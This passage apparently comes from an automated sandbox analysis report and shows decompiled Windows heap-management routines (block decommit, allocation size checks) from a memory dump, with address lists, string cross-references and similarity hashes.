						 *((intOrPtr*)(_t541 + 0x2c)) =  *((intOrPtr*)(_t541 + 0x2c)) - ( *(_t452 + 0x14) >> 0xc);
						 *((intOrPtr*)(_t553 + 0x1e8)) =  *((intOrPtr*)(_t553 + 0x1e8)) +  *(_t452 + 0x14);
						 *((intOrPtr*)(_t553 + 0x1f8)) =  *((intOrPtr*)(_t553 + 0x1f8)) - 1;
						_t256 =  *(_t452 + 0x14);
						__eflags = _t256 - 0x7f000;
						if(_t256 >= 0x7f000) {
							_t142 = _t553 + 0x1ec;
							 *_t142 =  *(_t553 + 0x1ec) - _t256;
							__eflags =  *_t142;
							_t256 =  *(_t452 + 0x14);
						}
						_t513 = _v48;
						_t445 = _t445 + (_t256 >> 3) + 0x20;
						_a4 = _t445;
						_v40 = 1;
					} else {
						_t27 =  &_v36;
						 *_t27 = _v36 & 0x00000000;
						__eflags =  *_t27;
					}
					__eflags =  *((intOrPtr*)(_t553 + 0x54)) -  *((intOrPtr*)(_t513 + 4));
					if( *((intOrPtr*)(_t553 + 0x54)) ==  *((intOrPtr*)(_t513 + 4))) {
						_v44 = _t513;
						_t262 = E00BEA9EF(_t541, _t513);
						__eflags = _a8;
						_v32 = _t262;
						if(_a8 != 0) {
							__eflags = _t262;
							if(_t262 == 0) {
								goto L19;
							}
						}
						__eflags =  *0xcd8748 - 1;
						if( *0xcd8748 >= 1) {
							__eflags = _t262;
							if(_t262 == 0) {
								_t415 =  *[fs:0x30];
								__eflags =  *(_t415 + 0xc);
								if( *(_t415 + 0xc) == 0) {
									_push("HEAP: ");
									E00BEB150();
								} else {
									E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push("(UCRBlock != NULL)");
								E00BEB150();
								__eflags =  *0xcd7bc8;
								if( *0xcd7bc8 == 0) {
									__eflags = 1;
									E00CA2073(_t445, 1, _t541, 1);
								}
								_t513 = _v48;
								_t445 = _a4;
							}
						}
						_t350 = _v40;
						_t480 = _t445 << 3;
						_v20 = _t480;
						_t481 = _t480 + _t513;
						_v24 = _t481;
						__eflags = _t350;
						if(_t350 == 0) {
							_t481 = _t481 + 0xfffffff0;
							__eflags = _t481;
						}
						_t483 = (_t481 & 0xfffff000) - _v44;
						__eflags = _t483;
						_v52 = _t483;
						if(_t483 == 0) {
							__eflags =  *0xcd8748 - 1;
							if( *0xcd8748 < 1) {
								goto L9;
							}
							__eflags = _t350;
							goto L146;
						} else {
							_t352 = E00C1174B( &_v44,  &_v52, 0x4000);
							__eflags = _t352;
							if(_t352 < 0) {
								goto L94;
							}
							_t353 = E00C07D50();
							_t447 = 0x7ffe0380;
							__eflags = _t353;
							if(_t353 != 0) {
								_t356 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t356 = 0x7ffe0380;
							}
							__eflags =  *_t356;
							if( *_t356 != 0) {
								_t357 =  *[fs:0x30];
								__eflags =  *(_t357 + 0x240) & 0x00000001;
								if(( *(_t357 + 0x240) & 0x00000001) != 0) {
									E00CA14FB(_t447, _t553, _v44, _v52, 5);
								}
							}
							_t358 = _v32;
							 *((intOrPtr*)(_t553 + 0x200)) =  *((intOrPtr*)(_t553 + 0x200)) + 1;
							_t484 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t484 - 0x7f000;
							if(_t484 >= 0x7f000) {
								_t90 = _t553 + 0x1ec;
								 *_t90 =  *(_t553 + 0x1ec) - _t484;
								__eflags =  *_t90;
							}
							E00BE9373(_t553, _t358);
							_t486 = _v32;
							 *((intOrPtr*)(_v32 + 0x14)) =  *((intOrPtr*)(_v32 + 0x14)) + _v52;
							E00BE9819(_t486);
							 *((intOrPtr*)(_t541 + 0x2c)) =  *((intOrPtr*)(_t541 + 0x2c)) + (_v52 >> 0xc);
							 *((intOrPtr*)(_t553 + 0x1e8)) =  *((intOrPtr*)(_t553 + 0x1e8)) - _v52;
							_t366 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t366 - 0x7f000;
							if(_t366 >= 0x7f000) {
								_t104 = _t553 + 0x1ec;
								 *_t104 =  *(_t553 + 0x1ec) + _t366;
								__eflags =  *_t104;
							}
							__eflags = _v40;
							if(_v40 == 0) {
								_t533 = _v52 + _v44;
								_v32 = _t533;
								_t533[2] =  *((intOrPtr*)(_t553 + 0x54));
								__eflags = _v24 - _v52 + _v44;
								if(_v24 == _v52 + _v44) {
									__eflags =  *(_t553 + 0x4c);
									if( *(_t553 + 0x4c) != 0) {
										_t533[1] = _t533[1] ^ _t533[0] ^  *_t533;
										 *_t533 =  *_t533 ^  *(_t553 + 0x50);
									}
								} else {
									_t449 = 0;
									_t533[3] = 0;
									_t533[1] = 0;
									_t394 = _v20 - _v52 >> 0x00000003 & 0x0000ffff;
									_t491 = _t394;
									 *_t533 = _t394;
									__eflags =  *0xcd8748 - 1; // 0x0
									if(__eflags >= 0) {
										__eflags = _t491 - 1;
										if(_t491 <= 1) {
											_t404 =  *[fs:0x30];
											__eflags =  *(_t404 + 0xc);
											if( *(_t404 + 0xc) == 0) {
												_push("HEAP: ");
												E00BEB150();
											} else {
												E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
											}
											_push("((LONG)FreeEntry->Size > 1)");
											E00BEB150();
											_pop(_t491);
											__eflags =  *0xcd7bc8 - _t449; // 0x0
											if(__eflags == 0) {
												__eflags = 0;
												_t491 = 1;
												E00CA2073(_t449, 1, _t541, 0);
											}
											_t533 = _v32;
										}
									}
									_t533[1] = _t449;
									__eflags =  *((intOrPtr*)(_t541 + 0x18)) - _t541;
									if( *((intOrPtr*)(_t541 + 0x18)) != _t541) {
										_t402 = (_t533 - _t541 >> 0x10) + 1;
										_v16 = _t402;
										__eflags = _t402 - 0xfe;
										if(_t402 >= 0xfe) {
											_push(_t491);
											_push(_t449);
											E00CAA80D( *((intOrPtr*)(_t541 + 0x18)), 3, _t533, _t541);
											_t533 = _v48;
											_t402 = _v32;
										}
										_t449 = _t402;
									}
									_t533[3] = _t449;
									E00C0A830(_t553, _t533,  *_t533 & 0x0000ffff);
									_t447 = 0x7ffe0380;
								}
							}
							_t367 = E00C07D50();
							__eflags = _t367;
							if(_t367 != 0) {
								_t370 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t370 = _t447;
							}
							__eflags =  *_t370;
							if( *_t370 != 0) {
								_t371 =  *[fs:0x30];
								__eflags =  *(_t371 + 0x240) & 1;
								if(( *(_t371 + 0x240) & 1) != 0) {
									__eflags = E00C07D50();
									if(__eflags != 0) {
										_t447 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
									}
									E00CA1411(_t447, _t553, _v44, __eflags, _v52,  *(_t553 + 0x74) << 3, _v40, _v36,  *_t447 & 0x000000ff);
								}
							}
							_t372 = E00C07D50();
							_t546 = 0x7ffe038a;
							_t446 = 0x230;
							__eflags = _t372;
							if(_t372 != 0) {
								_t246 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t246 = 0x7ffe038a;
							}
							__eflags =  *_t246;
							if( *_t246 == 0) {
								goto L7;
							} else {
								__eflags = E00C07D50();
								if(__eflags != 0) {
									_t546 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + _t446;
									__eflags = _t546;
								}
								_push( *_t546 & 0x000000ff);
								_push(_v36);
								_push(_v40);
								goto L120;
							}
						}
					} else {
						L19:
						_t31 = _t513 + 0x101f; // 0x101f
						_t455 = _t31 & 0xfffff000;
						_t32 = _t513 + 0x28; // 0x28
						_v44 = _t455;
						__eflags = _t455 - _t32;
						if(_t455 == _t32) {
							_t455 = _t455 + 0x1000;
							_v44 = _t455;
						}
						_t265 = _t445 << 3;
						_v24 = _t265;
						_t266 = _t265 + _t513;
						__eflags = _v40;
						_v20 = _t266;
						if(_v40 == 0) {
							_t266 = _t266 + 0xfffffff0;
							__eflags = _t266;
						}
						_t267 = _t266 & 0xfffff000;
						_v52 = _t267;
						__eflags = _t267 - _t455;
						if(_t267 < _t455) {
							__eflags =  *0xcd8748 - 1; // 0x0
							if(__eflags < 0) {
								L9:
								_t450 = _t553;
								L10:
								_push(_t445);
								goto L11;
							}
							__eflags = _v40;
							L146:
							if(__eflags == 0) {
								goto L9;
							}
							_t270 =  *[fs:0x30];
							__eflags =  *(_t270 + 0xc);
							if( *(_t270 + 0xc) == 0) {
								_push("HEAP: ");
								E00BEB150();
							} else {
								E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("(!TrailingUCR)");
							E00BEB150();
							__eflags =  *0xcd7bc8;
							if( *0xcd7bc8 == 0) {
								__eflags = 0;
								E00CA2073(_t445, 1, _t541, 0);
							}
							L152:
							_t445 = _a4;
							L153:
							_t513 = _v48;
							goto L9;
						}
						_v32 = _t267;
						_t280 = _t267 - _t455;
						_v32 = _v32 - _t455;
						__eflags = _a8;
						_t460 = _v32;
						_v52 = _t460;
						if(_a8 != 0) {
							L27:
							__eflags = _t280;
							if(_t280 == 0) {
								L33:
								_t446 = 0;
								__eflags = _v40;
								if(_v40 == 0) {
									_t468 = _v44 + _v52;
									_v36 = _t468;
									_t468[2] =  *((intOrPtr*)(_t553 + 0x54));
									__eflags = _v20 - _v52 + _v44;
									if(_v20 == _v52 + _v44) {
										__eflags =  *(_t553 + 0x4c);
										if( *(_t553 + 0x4c) != 0) {
											_t468[1] = _t468[1] ^ _t468[0] ^  *_t468;
											 *_t468 =  *_t468 ^  *(_t553 + 0x50);
										}
									} else {
										_t468[3] = 0;
										_t468[1] = 0;
										_t317 = _v24 - _v52 - _v44 + _t513 >> 0x00000003 & 0x0000ffff;
										_t521 = _t317;
										 *_t468 = _t317;
										__eflags =  *0xcd8748 - 1; // 0x0
										if(__eflags >= 0) {
											__eflags = _t521 - 1;
											if(_t521 <= 1) {
												_t327 =  *[fs:0x30];
												__eflags =  *(_t327 + 0xc);
												if( *(_t327 + 0xc) == 0) {
													_push("HEAP: ");
													E00BEB150();
												} else {
													E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
												}
												_push("(LONG)FreeEntry->Size > 1");
												E00BEB150();
												__eflags =  *0xcd7bc8 - _t446; // 0x0
												if(__eflags == 0) {
													__eflags = 1;
													E00CA2073(_t446, 1, _t541, 1);
												}
												_t468 = _v36;
											}
										}
										_t468[1] = _t446;
										_t522 =  *((intOrPtr*)(_t541 + 0x18));
										__eflags =  *((intOrPtr*)(_t541 + 0x18)) - _t541;
										if( *((intOrPtr*)(_t541 + 0x18)) == _t541) {
											_t320 = _t446;
										} else {
											_t320 = (_t468 - _t541 >> 0x10) + 1;
											_v12 = _t320;
											__eflags = _t320 - 0xfe;
											if(_t320 >= 0xfe) {
												_push(_t468);
												_push(_t446);
												E00CAA80D(_t522, 3, _t468, _t541);
												_t468 = _v52;
												_t320 = _v28;
											}
										}
										_t468[3] = _t320;
										E00C0A830(_t553, _t468,  *_t468 & 0x0000ffff);
									}
								}
								E00C0B73D(_t553, _t541, _v44 + 0xffffffe8, _v52, _v48,  &_v8);
								E00C0A830(_t553, _v64, _v24);
								_t286 = E00C07D50();
								_t542 = 0x7ffe0380;
								__eflags = _t286;
								if(_t286 != 0) {
									_t289 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								} else {
									_t289 = 0x7ffe0380;
								}
								__eflags =  *_t289;
								if( *_t289 != 0) {
									_t290 =  *[fs:0x30];
									__eflags =  *(_t290 + 0x240) & 1;
									if(( *(_t290 + 0x240) & 1) != 0) {
										__eflags = E00C07D50();
										if(__eflags != 0) {
											_t542 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
											__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										}
										E00CA1411(_t446, _t553, _v44, __eflags, _v52,  *(_t553 + 0x74) << 3, _t446, _t446,  *_t542 & 0x000000ff);
									}
								}
								_t291 = E00C07D50();
								_t543 = 0x7ffe038a;
								__eflags = _t291;
								if(_t291 != 0) {
									_t246 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
								} else {
									_t246 = 0x7ffe038a;
								}
								__eflags =  *_t246;
								if( *_t246 != 0) {
									__eflags = E00C07D50();
									if(__eflags != 0) {
										_t543 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
										__eflags = _t543;
									}
									_push( *_t543 & 0x000000ff);
									_push(_t446);
									_push(_t446);
									L120:
									_push( *(_t553 + 0x74) << 3);
									_push(_v52);
									_t246 = E00CA1411(_t446, _t553, _v44, __eflags);
								}
								goto L7;
							}
							 *((intOrPtr*)(_t553 + 0x200)) =  *((intOrPtr*)(_t553 + 0x200)) + 1;
							_t339 = E00C1174B( &_v44,  &_v52, 0x4000);
							__eflags = _t339;
							if(_t339 < 0) {
								L94:
								 *((intOrPtr*)(_t553 + 0x210)) =  *((intOrPtr*)(_t553 + 0x210)) + 1;
								__eflags = _v40;
								if(_v40 == 0) {
									goto L153;
								}
								E00C0B73D(_t553, _t541, _v28 + 0xffffffe8, _v36, _v48,  &_a4);
								goto L152;
							}
							_t344 = E00C07D50();
							__eflags = _t344;
							if(_t344 != 0) {
								_t347 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t347 = 0x7ffe0380;
							}
							__eflags =  *_t347;
							if( *_t347 != 0) {
								_t348 =  *[fs:0x30];
								__eflags =  *(_t348 + 0x240) & 1;
								if(( *(_t348 + 0x240) & 1) != 0) {
									E00CA14FB(_t445, _t553, _v44, _v52, 6);
								}
							}
							_t513 = _v48;
							goto L33;
						}
						__eflags =  *_v12 - 3;
						_t513 = _v48;
						if( *_v12 == 3) {
							goto L27;
						}
						__eflags = _t460;
						if(_t460 == 0) {
							goto L9;
						}
						__eflags = _t460 -  *((intOrPtr*)(_t553 + 0x6c));
						if(_t460 <  *((intOrPtr*)(_t553 + 0x6c))) {
							goto L9;
						}
						goto L27;
					}
				}
				_t445 = _a4;
				if(_t445 <  *((intOrPtr*)(__ecx + 0x6c))) {
					_t513 = __edx;
					goto L10;
				}
				_t433 =  *((intOrPtr*)(__ecx + 0x74)) + _t445;
				_v20 = _t433;
				if(_t433 <  *((intOrPtr*)(__ecx + 0x70)) || _v20 <  *(__ecx + 0x1e8) >>  *((intOrPtr*)(__ecx + 0x240)) + 3) {
					_t513 = _t539;
					goto L9;
				} else {
					_t437 = E00C099BF(__ecx, __edx,  &_a4, 0);
					_t445 = _a4;
					_t514 = _t437;
					_v56 = _t514;
					if(_t445 - 0x201 > 0xfbff) {
						goto L14;
					} else {
						E00C0A830(__ecx, _t514, _t445);
						_t506 =  *(_t553 + 0x238);
						_t551 =  *((intOrPtr*)(_t553 + 0x1e8)) - ( *(_t553 + 0x74) << 3);
						_t246 = _t506 >> 4;
						if(_t551 < _t506 - _t246) {
							_t508 =  *(_t553 + 0x23c);
							_t246 = _t508 >> 2;
							__eflags = _t551 - _t508 - _t246;
							if(_t551 > _t508 - _t246) {
								_t246 = E00C1ABD8(_t553);
								 *(_t553 + 0x23c) = _t551;
								 *(_t553 + 0x238) = _t551;
							}
						}
						goto L7;
					}
				}
			}

0x00c0a309
0x00c0a316
0x00c0a319
0x00c0a31d
0x00c0a32d
0x00c0a331
0x00c51e0d
0x00c51e10
0x00c0a3cb
0x00c0a3cb
0x00c0a3bd
0x00c0a3c3
0x00c0a3c3
0x00c0a33a
0x00c51e17
0x00c51e1b
0x00c51e1d
0x00c51e2f
0x00c51e34
0x00c51e36
0x00c51e3c
0x00c51e3c
0x00c51e3c
0x00c51e3c
0x00c51e36
0x00c51e42
0x00c51e45
0x00c51e47
0x00c0a3f8
0x00c0a3f8
0x00c0a3fb
0x00c0a3fd
0x00c51e50
0x00c0a403
0x00c0a411
0x00c0a411
0x00c0a411
0x00c0a41e
0x00c0a420
0x00c0a424
0x00c0a427
0x00c0a7c9
0x00c0a7cd
0x00c0a7d2
0x00c0a7d9
0x00c0a7e0
0x00c0a7e3
0x00c0a7ed
0x00c0a7f3
0x00c0a7f9
0x00c0a7ff
0x00c0a802
0x00c0a807
0x00c0a809
0x00c0a809
0x00c0a809
0x00c0a80f
0x00c0a80f
0x00c0a812
0x00c0a81c
0x00c0a821
0x00c0a824
0x00c0a42d
0x00c0a42d
0x00c0a42d
0x00c0a42d
0x00c0a42d
0x00c0a436
0x00c0a43a
0x00c0a609
0x00c0a60d
0x00c0a612
0x00c0a616
0x00c0a61a
0x00c51e57
0x00c51e59
0x00000000
0x00000000
0x00c51e5f
0x00c0a620
0x00c0a627
0x00c51e64
0x00c51e66
0x00c51e6c
0x00c51e72
0x00c51e76
0x00c51e95
0x00c51e9a
0x00c51e78
0x00c51e8d
0x00c51e92
0x00c51ea0
0x00c51ea5
0x00c51eaa
0x00c51eb2
0x00c51eb6
0x00c51eb9
0x00c51eb9
0x00c51ebe
0x00c51ec2
0x00c51ec2
0x00c51e66
0x00c0a62d
0x00c0a633
0x00c0a636
0x00c0a63a
0x00c0a63c
0x00c0a640
0x00c0a642
0x00c0a644
0x00c0a644
0x00c0a644
0x00c0a64d
0x00c0a64d
0x00c0a651
0x00c0a655
0x00c51eca
0x00c51ed1
0x00000000
0x00000000
0x00c51ed7
0x00000000
0x00c0a65b
0x00c0a669
0x00c0a66e
0x00c0a670
0x00000000
0x00000000
0x00c0a676
0x00c0a67b
0x00c0a680
0x00c0a682
0x00c51f1a
0x00c0a688
0x00c0a688
0x00c0a688
0x00c0a68a
0x00c0a68d
0x00c51f24
0x00c51f2a
0x00c51f31
0x00c51f43
0x00c51f43
0x00c51f31
0x00c0a693
0x00c0a697
0x00c0a69d
0x00c0a6a0
0x00c0a6a6
0x00c0a6a8
0x00c0a6a8
0x00c0a6a8
0x00c0a6a8
0x00c0a6b2
0x00c0a6b7
0x00c0a6c1
0x00c0a6c6
0x00c0a6d2
0x00c0a6d9
0x00c0a6e3
0x00c0a6e6
0x00c0a6eb
0x00c0a6ed
0x00c0a6ed
0x00c0a6ed
0x00c0a6ed
0x00c0a6f3
0x00c0a6f8
0x00c0a702
0x00c0a70a
0x00c0a70e
0x00c0a71a
0x00c0a71e
0x00c51fcb
0x00c51fcf
0x00c51fdd
0x00c51fe3
0x00c51fe3
0x00c0a724
0x00c0a728
0x00c0a72a
0x00c0a72d
0x00c0a737
0x00c0a73a
0x00c0a73c
0x00c0a742
0x00c0a748
0x00c51f4d
0x00c51f50
0x00c51f56
0x00c51f5c
0x00c51f5f
0x00c51f7e
0x00c51f83
0x00c51f61
0x00c51f76
0x00c51f7b
0x00c51f89
0x00c51f8e
0x00c51f93
0x00c51f94
0x00c51f9a
0x00c51f9c
0x00c51f9e
0x00c51fa1
0x00c51fa1
0x00c51fa6
0x00c51fa6
0x00c51f50
0x00c0a74e
0x00c0a751
0x00c0a754
0x00c0a75d
0x00c0a75e
0x00c0a762
0x00c0a767
0x00c51faf
0x00c51fb0
0x00c51fb9
0x00c51fbe
0x00c51fc2
0x00c51fc2
0x00c0a76d
0x00c0a76d
0x00c0a775
0x00c0a778
0x00c0a77d
0x00c0a77d
0x00c0a71e
0x00c0a782
0x00c0a787
0x00c0a789
0x00c51ff3
0x00c0a78f
0x00c0a78f
0x00c0a78f
0x00c0a791
0x00c0a794
0x00c51ffd
0x00c52006
0x00c5200c
0x00c52017
0x00c52019
0x00c52024
0x00c52024
0x00c52024
0x00c52047
0x00c52047
0x00c5200c
0x00c0a79a
0x00c0a79f
0x00c0a7a4
0x00c0a7a9
0x00c0a7ab
0x00c5205a
0x00c0a7b1
0x00c0a7b1
0x00c0a7b1
0x00c0a7b3
0x00c0a7b6
0x00000000
0x00c0a7bc
0x00c52066
0x00c52068
0x00c52073
0x00c52073
0x00c52073
0x00c52078
0x00c52079
0x00c5207d
0x00000000
0x00c5207d
0x00c0a7b6
0x00c0a440
0x00c0a440
0x00c0a440
0x00c0a446
0x00c0a44c
0x00c0a44f
0x00c0a453
0x00c0a455
0x00c520b3
0x00c520b9
0x00c520b9
0x00c0a45d
0x00c0a460
0x00c0a464
0x00c0a466
0x00c0a46b
0x00c0a46f
0x00c0a471
0x00c0a471
0x00c0a471
0x00c0a474
0x00c0a479
0x00c0a47d
0x00c0a47f
0x00c52229
0x00c5222f
0x00c0a3c8
0x00c0a3c8
0x00c0a3ca
0x00c0a3ca
0x00000000
0x00c0a3ca
0x00c52235
0x00c5223a
0x00c5223a
0x00000000
0x00000000
0x00c52240
0x00c52246
0x00c5224a
0x00c52269
0x00c5226e
0x00c5224c
0x00c52261
0x00c52266
0x00c52274
0x00c52279
0x00c5227e
0x00c52286
0x00c52288
0x00c5228d
0x00c5228d
0x00c52292
0x00c52292
0x00c52295
0x00c52295
0x00000000
0x00c52295
0x00c0a485
0x00c0a489
0x00c0a48b
0x00c0a48f
0x00c0a493
0x00c0a497
0x00c0a49b
0x00c0a4bb
0x00c0a4bb
0x00c0a4bd
0x00c0a4ff
0x00c0a4ff
0x00c0a501
0x00c0a505
0x00c0a50f
0x00c0a517
0x00c0a51b
0x00c0a527
0x00c0a52b
0x00c52182
0x00c52185
0x00c52193
0x00c52199
0x00c52199
0x00c0a531
0x00c0a535
0x00c0a538
0x00c0a548
0x00c0a54b
0x00c0a54d
0x00c0a553
0x00c0a559
0x00c52100
0x00c52103
0x00c52109
0x00c5210f
0x00c52112
0x00c52131
0x00c52136
0x00c52114
0x00c52129
0x00c5212e
0x00c5213c
0x00c52141
0x00c52147
0x00c5214d
0x00c52151
0x00c52154
0x00c52154
0x00c52159
0x00c52159
0x00c52103
0x00c0a55f
0x00c0a562
0x00c0a565
0x00c0a567
0x00c52162
0x00c0a56d
0x00c0a574
0x00c0a575
0x00c0a579
0x00c0a57e
0x00c52169
0x00c5216a
0x00c52170
0x00c52175
0x00c52179
0x00c52179
0x00c0a57e
0x00c0a584
0x00c0a58f
0x00c0a58f
0x00c0a52b
0x00c0a5ad
0x00c0a5bc
0x00c0a5c1
0x00c0a5c6
0x00c0a5cb
0x00c0a5cd
0x00c521a9
0x00c0a5d3
0x00c0a5d3
0x00c0a5d3
0x00c0a5d5
0x00c0a5d8
0x00c521b3
0x00c521bc
0x00c521c2
0x00c521cd
0x00c521cf
0x00c521da
0x00c521da
0x00c521da
0x00c521f7
0x00c521f7
0x00c521c2
0x00c0a5de
0x00c0a5e3
0x00c0a5e8
0x00c0a5ea
0x00c5220a
0x00c0a5f0
0x00c0a5f0
0x00c0a5f0
0x00c0a5f2
0x00c0a5f5
0x00c52219
0x00c5221b
0x00c5208c
0x00c5208c
0x00c5208c
0x00c52095
0x00c52096
0x00c52097
0x00c52098
0x00c520a4
0x00c520a5
0x00c520a9
0x00c520a9
0x00000000
0x00c0a5f5
0x00c0a4bf
0x00c0a4d3
0x00c0a4d8
0x00c0a4da
0x00c51ede
0x00c51ede
0x00c51ee4
0x00c51ee9
0x00000000
0x00000000
0x00c51f07
0x00000000
0x00c51f07
0x00c0a4e0
0x00c0a4e5
0x00c0a4e7
0x00c520cb
0x00c0a4ed
0x00c0a4ed
0x00c0a4ed
0x00c0a4f2
0x00c0a4f5
0x00c520d5
0x00c520de
0x00c520e4
0x00c520f6
0x00c520f6
0x00c520e4
0x00c0a4fb
0x00000000
0x00c0a4fb
0x00c0a4a1
0x00c0a4a4
0x00c0a4a8
0x00000000
0x00000000
0x00c0a4aa
0x00c0a4ac
0x00000000
0x00000000
0x00c0a4b2
0x00c0a4b5
0x00000000
0x00000000
0x00000000
0x00c0a4b5
0x00c0a43a
0x00c0a340
0x00c0a346
0x00c0a600
0x00000000
0x00c0a600
0x00c0a34f
0x00c0a351
0x00c0a358
0x00c0a3c6
0x00000000
0x00c0a371
0x00c0a37a
0x00c0a37f
0x00c0a382
0x00c0a384
0x00c0a394
0x00000000
0x00c0a396
0x00c0a399
0x00c0a3a7
0x00c0a3b0
0x00c0a3b4
0x00c0a3bb
0x00c0a3d2
0x00c0a3da
0x00c0a3df
0x00c0a3e1
0x00c0a3e5
0x00c0a3ea
0x00c0a3f0
0x00c0a3f0
0x00c0a3e1
0x00000000
0x00c0a3bb
0x00c0a394

Strings

(UCRBlock != NULL), xrefs: 00C51EA0
(!TrailingUCR), xrefs: 00C52274
HEAP[%wZ]: , xrefs: 00C51E88, 00C51F71, 00C52124, 00C5225C
HEAP: , xrefs: 00C51E95, 00C51F7E, 00C52131, 00C52269
((LONG)FreeEntry->Size > 1), xrefs: 00C51F89
(LONG)FreeEntry->Size > 1, xrefs: 00C5213C

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 0-523794902
Opcode ID: 3b4e7358b23d082c747e65eb481ce4dc6dadc25783b8feb292edeffcd796aa32
Instruction ID: 15ff59eadbef9c5d7c90ffa128b3f73d66c90a15bd8eaaed2012b264815baafc
Opcode Fuzzy Hash: 3b4e7358b23d082c747e65eb481ce4dc6dadc25783b8feb292edeffcd796aa32
Instruction Fuzzy Hash: 8B42EF356087819FC715CF29C884B2ABBE5FF88304F18496DF8968B392D734DA85CB56

Uniqueness

Uniqueness Score: -1.00%

Function 00CA2D82, Relevance: 7.7, Strings: 6, Instructions: 228
COMMONCrypto

Download Yara Rule

C-Code - Quality: 64%

			E00CA2D82(void* __ebx, intOrPtr* __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t83;
				signed char _t89;
				intOrPtr _t90;
				signed char _t101;
				signed int _t102;
				intOrPtr _t104;
				signed int _t105;
				signed int _t106;
				intOrPtr _t108;
				intOrPtr _t112;
				short* _t130;
				short _t131;
				signed int _t148;
				intOrPtr _t149;
				signed int* _t154;
				short* _t165;
				signed int _t171;
				void* _t182;

				_push(0x44);
				_push(0xcc0e80);
				E00C3D0E8(__ebx, __edi, __esi);
				_t177 = __edx;
				_t181 = __ecx;
				 *((intOrPtr*)(_t182 - 0x44)) = __ecx;
				 *((char*)(_t182 - 0x1d)) = 0;
				 *(_t182 - 0x24) = 0;
				if(( *(__ecx + 0x44) & 0x01000000) == 0) {
					 *((intOrPtr*)(_t182 - 4)) = 0;
					 *((intOrPtr*)(_t182 - 4)) = 1;
					_t83 = E00BE40E1("RtlAllocateHeap");
					__eflags = _t83;
					if(_t83 == 0) {
						L48:
						 *(_t182 - 0x24) = 0;
						L49:
						 *((intOrPtr*)(_t182 - 4)) = 0;
						 *((intOrPtr*)(_t182 - 4)) = 0xfffffffe;
						E00CA30C4();
						goto L50;
					}
					_t89 =  *(__ecx + 0x44) | __edx | 0x10000100;
					 *(_t182 - 0x28) = _t89;
					 *(_t182 - 0x3c) = _t89;
					_t177 =  *(_t182 + 8);
					__eflags = _t177;
					if(_t177 == 0) {
						_t171 = 1;
						__eflags = 1;
					} else {
						_t171 = _t177;
					}
					_t148 =  *((intOrPtr*)(_t181 + 0x94)) + _t171 &  *(_t181 + 0x98);
					__eflags = _t148 - 0x10;
					if(_t148 < 0x10) {
						_t148 = 0x10;
					}
					_t149 = _t148 + 8;
					 *((intOrPtr*)(_t182 - 0x48)) = _t149;
					__eflags = _t149 - _t177;
					if(_t149 < _t177) {
						L44:
						_t90 =  *[fs:0x30];
						__eflags =  *(_t90 + 0xc);
						if( *(_t90 + 0xc) == 0) {
							_push("HEAP: ");
							E00BEB150();
						} else {
							E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push( *((intOrPtr*)(_t181 + 0x78)));
						E00BEB150("Invalid allocation size - %Ix (exceeded %Ix)\n", _t177);
						goto L48;
					} else {
						__eflags = _t149 -  *((intOrPtr*)(_t181 + 0x78));
						if(_t149 >  *((intOrPtr*)(_t181 + 0x78))) {
							goto L44;
						}
						__eflags = _t89 & 0x00000001;
						if((_t89 & 0x00000001) != 0) {
							_t178 =  *(_t182 - 0x28);
						} else {
							E00BFEEF0( *((intOrPtr*)(_t181 + 0xc8)));
							 *((char*)(_t182 - 0x1d)) = 1;
							_t178 =  *(_t182 - 0x28) | 0x00000001;
							 *(_t182 - 0x3c) =  *(_t182 - 0x28) | 0x00000001;
						}
						E00CA4496(_t181, 0);
						_t177 = L00C04620(_t181, _t181, _t178,  *(_t182 + 8));
						 *(_t182 - 0x24) = _t177;
						_t173 = 1;
						E00CA49A4(_t181);
						__eflags = _t177;
						if(_t177 == 0) {
							goto L49;
						} else {
							_t177 = _t177 + 0xfffffff8;
							__eflags =  *((char*)(_t177 + 7)) - 5;
							if( *((char*)(_t177 + 7)) == 5) {
								_t177 = _t177 - (( *(_t177 + 6) & 0x000000ff) << 3);
								__eflags = _t177;
							}
							_t154 = _t177;
							 *(_t182 - 0x40) = _t177;
							__eflags =  *(_t181 + 0x4c);
							if( *(_t181 + 0x4c) != 0) {
								 *_t177 =  *_t177 ^  *(_t181 + 0x50);
								__eflags =  *(_t177 + 3) - (_t154[0] ^ _t154[0] ^  *_t154);
								if(__eflags != 0) {
									_push(_t154);
									_t173 = _t177;
									E00C9FA2B(0, _t181, _t177, _t177, _t181, __eflags);
								}
							}
							__eflags =  *(_t177 + 2) & 0x00000002;
							if(( *(_t177 + 2) & 0x00000002) == 0) {
